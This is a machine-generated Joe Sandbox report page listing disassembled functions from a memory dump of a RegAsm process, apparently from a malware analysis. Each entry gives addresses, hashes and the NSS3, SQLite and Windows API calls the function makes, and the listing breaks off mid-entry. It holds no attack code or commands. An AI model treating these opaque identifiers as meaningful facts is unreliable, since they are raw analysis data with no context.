Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 0de5509f5e0a0dda836ef68ac6bb9a2fac410c7c8fc534748d75d42acc26d31c
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: E621C3B7A002256BEB118B28DC82FAB77ECAB4970CF054164FE14AB351E771EC1187E1

Function 6C028A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6BFD61C4,?,6BFD5F9C,00000000), ref: 6C028A81
TlsGetValue.KERNEL32(?,?,?,6BFD5F9C,00000000), ref: 6C028A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6BFD5F9C,00000000), ref: 6C028AB7
PR_Unlock.NSS3(?,?,?,?,?,6BFD5F9C,00000000), ref: 6C028AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6BFD5F9C,00000000), ref: 6C028B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6BFD5F9C,00000000), ref: 6C028B18

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: a99a55071622d0ef5160ca4ae556f6fd3f89b0d163e577f7c83b5f76a281bb73
Instruction ID: a47ae8165b9b4e4544bff58f45a9f8f9a9021ce5498b69c6d89ac070714aa9b6
Opcode Fuzzy Hash: a99a55071622d0ef5160ca4ae556f6fd3f89b0d163e577f7c83b5f76a281bb73
Instruction Fuzzy Hash: A52162BA5047058BEB21AF38C04575AB7F4BF05348F154B2AD89987A11EB38E4D5CF92

Function 6C024820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C024EB8,?), ref: 6C024884

Part of subcall function 6C028800: TlsGetValue.KERNEL32(?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028821
Part of subcall function 6C028800: TlsGetValue.KERNEL32(?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C02883D
Part of subcall function 6C028800: EnterCriticalSection.KERNEL32(?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028856
Part of subcall function 6C028800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C028887
Part of subcall function 6C028800: PR_Unlock.NSS3(?,?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C024EB8,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C02484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C024EB8,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C02486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0248A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0248B8

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 83fcf64c18821816a5fef855775876c09549a888143c871075d0fa50cc25ae4e
Instruction ID: 034c4f7a57cd62109a896cb382fd8e0dc20faa5aa3fbf5ad7bf04bcfbb6878dd
Opcode Fuzzy Hash: 83fcf64c18821816a5fef855775876c09549a888143c871075d0fa50cc25ae4e
Instruction Fuzzy Hash: 9621D7B6F00240ABEF105FE5EC8475E77F8EF0A7587140524DE494B612E725F81487E1

Function 6BFE89E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6BFE88AE,-00000008), ref: 6BFE8A04
EnterCriticalSection.KERNEL32(?), ref: 6BFE8A15
memset.VCRUNTIME140(6BFE88AE,00000000,00000132), ref: 6BFE8A27
PR_Unlock.NSS3(?), ref: 6BFE8A35
memset.VCRUNTIME140(6BFE88AE,00000000,00000132,00000000,-00000008,00000000,?,?,6BFE88AE,-00000008), ref: 6BFE8A45
free.MOZGLUE(6BFE88A6,?,6BFE88AE,-00000008), ref: 6BFE8A4E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: b9102817a142ef90ccff4ca9d0dff942b3a7d9257fa93f22f86732e5585de9c5
Instruction ID: 67ea192754704e6d6896b575992e134b826c735182d90dee40a2a13edb1b39d5
Opcode Fuzzy Hash: b9102817a142ef90ccff4ca9d0dff942b3a7d9257fa93f22f86732e5585de9c5
Instruction Fuzzy Hash: 4711E6B7A00205BFEB00AF68DC45A6AFB78FF05B14F000665E91897211E735E55687F1

Function 6BFE8A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6BFE8FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6BFF0710), ref: 6BFE8FF1
Part of subcall function 6BFE8FE0: calloc.MOZGLUE(00000001,00000000,?,?,6BFF0710), ref: 6BFE904D
Part of subcall function 6BFE8FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6BFF0710), ref: 6BFE9066
Part of subcall function 6BFE8FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6BFF0710), ref: 6BFE9078

TlsGetValue.KERNEL32 ref: 6BFE8AC1
EnterCriticalSection.KERNEL32 ref: 6BFE8AD6
PL_FinishArenaPool.NSS3 ref: 6BFE8AE5
PR_Unlock.NSS3 ref: 6BFE8AF7
DeleteCriticalSection.KERNEL32 ref: 6BFE8B02
free.MOZGLUE ref: 6BFE8B0E

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: 9ac5280d3c151a09cc25051b1f6e62329d6ef03830eff626d48df323ba0d33f6
Instruction ID: 8f09b3532b9be636325d04ddaa618078596029f3273cb60c23d0d50720693531
Opcode Fuzzy Hash: 9ac5280d3c151a09cc25051b1f6e62329d6ef03830eff626d48df323ba0d33f6
Instruction Fuzzy Hash: CD1160B6504605AFEB00BF78C48967ABBF4FF41754F014969D9858B210EB38E496CBE2

Function 6C0E8910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C0E892E

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

PR_Lock.NSS3 ref: 6C0E8950

Part of subcall function 6C099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6BFC1A48), ref: 6C099BB3
Part of subcall function 6C099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6BFC1A48), ref: 6C099BC8

getprotobynumber.WSOCK32(?), ref: 6C0E8959
GetLastError.KERNEL32(?), ref: 6C0E8967
PR_GetCurrentThread.NSS3(?,?), ref: 6C0E896F
PR_Unlock.NSS3(?,?), ref: 6C0E898A

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 60c696794ca7fb45ed213f08c11240e10de91ee87eff9963743e945dd7cb8519
Instruction ID: 3fc6feb16de29fd1ce618e6ecfe2fbeca048378990e5291deed6b4b34b3ccc95
Opcode Fuzzy Hash: 60c696794ca7fb45ed213f08c11240e10de91ee87eff9963743e945dd7cb8519
Instruction Fuzzy Hash: 3111C2B2E501209FCB106FB99D4074A37E4AF4A338F0943A6EC09A77A1D7349C05DBD6

Function 6BFE8B50 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6BFF0948,00000000), ref: 6BFE8B6B
EnterCriticalSection.KERNEL32(?,?,?,6BFF0948,00000000), ref: 6BFE8B80
PL_FinishArenaPool.NSS3(?,?,?,?,6BFF0948,00000000), ref: 6BFE8B8F
PR_Unlock.NSS3(?,?,?,?,6BFF0948,00000000), ref: 6BFE8BA1
DeleteCriticalSection.KERNEL32(?,?,?,?,6BFF0948,00000000), ref: 6BFE8BAC
free.MOZGLUE(?,?,?,?,?,6BFF0948,00000000), ref: 6BFE8BB8

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$ArenaDeleteEnterFinishPoolUnlockValuefree
String ID:
API String ID: 1456478736-0
Opcode ID: 595b0f8e27958325f00e9d526614655ab50845db73ebce596f8750c78073b85b
Instruction ID: fc052501d7b5bf90950b6c93ccff1dfe6956f1b26a374115e420ddca760de794
Opcode Fuzzy Hash: 595b0f8e27958325f00e9d526614655ab50845db73ebce596f8750c78073b85b
Instruction Fuzzy Hash: B71118F6604A05AFEB00BF78C48917ABBF4FF45754F014969D98587210EB38E496CBE2

Function 6BFEAB10 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(D958E852,6BFF1397,5B5F5EC0,?,?,6BFEB1EE,2404110F,?,?), ref: 6BFEAB3C
free.MOZGLUE(D958E836,?,6BFEB1EE,2404110F,?,?), ref: 6BFEAB49
DeleteCriticalSection.KERNEL32(5D5E6C1E), ref: 6BFEAB5C
free.MOZGLUE(5D5E6C12), ref: 6BFEAB63
DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6BFEAB6F
free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6BFEAB76

Part of subcall function 6C01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C01F854
Part of subcall function 6C01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C01F868
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C01F882
Part of subcall function 6C01F820: free.MOZGLUE(04C483FF,?,?), ref: 6C01F889
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C01F8A4
Part of subcall function 6C01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C01F8AB
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C01F8C9
Part of subcall function 6C01F820: free.MOZGLUE(280F10EC,?,?), ref: 6C01F8D0

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 720934a80eac273a29fd5272d082b37804d5a6b87709973f5e2990e5ff8dd619
Instruction ID: 711f2e34fa2c6a45407370122a41af0f5efa9a07543de7def03091e1b09e2ded
Opcode Fuzzy Hash: 720934a80eac273a29fd5272d082b37804d5a6b87709973f5e2990e5ff8dd619
Instruction Fuzzy Hash: DE01B1B7A00605BFDA01EBA4DC8589BB3BDEE457753040525EA0983610E73AF457DBE1

Function 6C066840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C06AA9B,?,?,?,?,?,?,?,00000000,?,6C0680C1), ref: 6C066846

Part of subcall function 6BFC1770: calloc.MOZGLUE(00000001,0000019C,?,6BFC15C2,?,?,?,?,?,00000001,00000040), ref: 6BFC178D

PR_NewMonitor.NSS3(00000000,?,6C06AA9B,?,?,?,?,?,?,?,00000000,?,6C0680C1), ref: 6C066855

Part of subcall function 6C028680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6BFD55D0,00000000,00000000), ref: 6C02868B
Part of subcall function 6C028680: PR_NewLock.NSS3(00000000,00000000), ref: 6C0286A0
Part of subcall function 6C028680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C0286B2
Part of subcall function 6C028680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C0286C8
Part of subcall function 6C028680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C0286E2
Part of subcall function 6C028680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C0286EC
Part of subcall function 6C028680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C028700

PR_NewMonitor.NSS3(?,6C06AA9B,?,?,?,?,?,?,?,00000000,?,6C0680C1), ref: 6C06687D

Part of subcall function 6BFC1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BFC18DE
Part of subcall function 6BFC1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BFC18F1

PR_NewMonitor.NSS3(?,6C06AA9B,?,?,?,?,?,?,?,00000000,?,6C0680C1), ref: 6C06688C

Part of subcall function 6BFC1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BFC18FC
Part of subcall function 6BFC1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BFC198A

PR_NewLock.NSS3 ref: 6C0668A5

Part of subcall function 6C0998D0: calloc.MOZGLUE(00000001,00000084,6BFC0936,00000001,?,6BFC102C), ref: 6C0998E5

PR_NewLock.NSS3 ref: 6C0668B4

Part of subcall function 6C0998D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C099946
Part of subcall function 6C0998D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BF516B7,00000000), ref: 6C09994E
Part of subcall function 6C0998D0: free.MOZGLUE(00000000), ref: 6C09995E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 697b8c547404a1a5cc9a5531ae161ec9dd759a3eb1783645389942dcb98894bb
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: CB011DB1A01F174AE7526F7648153E776E85F01288F10063E8969C6F90EF75F408CBB2

Function 6BFBAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6BFBAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6BFBAF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BFBAFC4
%s at line %d of [%.10s], xrefs: 6BFBAFD3
misuse, xrefs: 6BFBAFCE

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: bad97ffdc091ffc1c1e479c0b1bd494cb72c6df68714c2c90839dd9e9e6389c6
Instruction ID: 4b78ad72374f90c44983be3a8ee8dde754b1acbf90dc6c3bee0d4a67a797f017
Opcode Fuzzy Hash: bad97ffdc091ffc1c1e479c0b1bd494cb72c6df68714c2c90839dd9e9e6389c6
Instruction Fuzzy Hash: 0A919576B046158FDB14CF6AC894BEAB7F1BF49314F0944A8E865AB361DB38ED01CB50

Function 6BFE4B00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6BFE4B66
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6BFE4B7D
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6BFE4B97
PORT_ZAlloc_Util.NSS3(00000018), ref: 6BFE4BB7

Part of subcall function 6C030D30: calloc.MOZGLUE ref: 6C030D50
Part of subcall function 6C030D30: TlsGetValue.KERNEL32 ref: 6C030D6D

Strings

, xrefs: 6BFE4B8A

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: AlgorithmPolicy$Alloc_ErrorUtilValuecalloc
String ID:
API String ID: 4087055539-3916222277
Opcode ID: 2775b4056cd9312cb9169e43c5125605f655b811c80904fd0754b63fa1377a22
Instruction ID: 4d03b0ea6d85668acd76484f7ee185510568839ab85a2c83e41861b8abc95e5d
Opcode Fuzzy Hash: 2775b4056cd9312cb9169e43c5125605f655b811c80904fd0754b63fa1377a22
Instruction Fuzzy Hash: D42108B3D0024A7BDF108A649C41BBFB7B5AF80318F100569EA29D76B1E724A516C6B2

Function 6C0AA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6BF77915,?,?), ref: 6C0AA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6BF77915,?,?), ref: 6C0AA8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C0AA891
%s at line %d of [%.10s], xrefs: 6C0AA8A0
database corruption, xrefs: 6C0AA89B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 7369a5d0428dd8fe597e2242fbc8bbf2f533f1c93b53ddbe9101679c4543121e
Instruction ID: 03e57a9d911482a9f422f62489297392789f674cdac02e475aef955d2dfcbf7c
Opcode Fuzzy Hash: 7369a5d0428dd8fe597e2242fbc8bbf2f533f1c93b53ddbe9101679c4543121e
Instruction Fuzzy Hash: 84110672A00204ABD7088FA1DC41B6AB7E1FF48314F104039FC194BA91EB34E916CB91

Function 6BFC0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

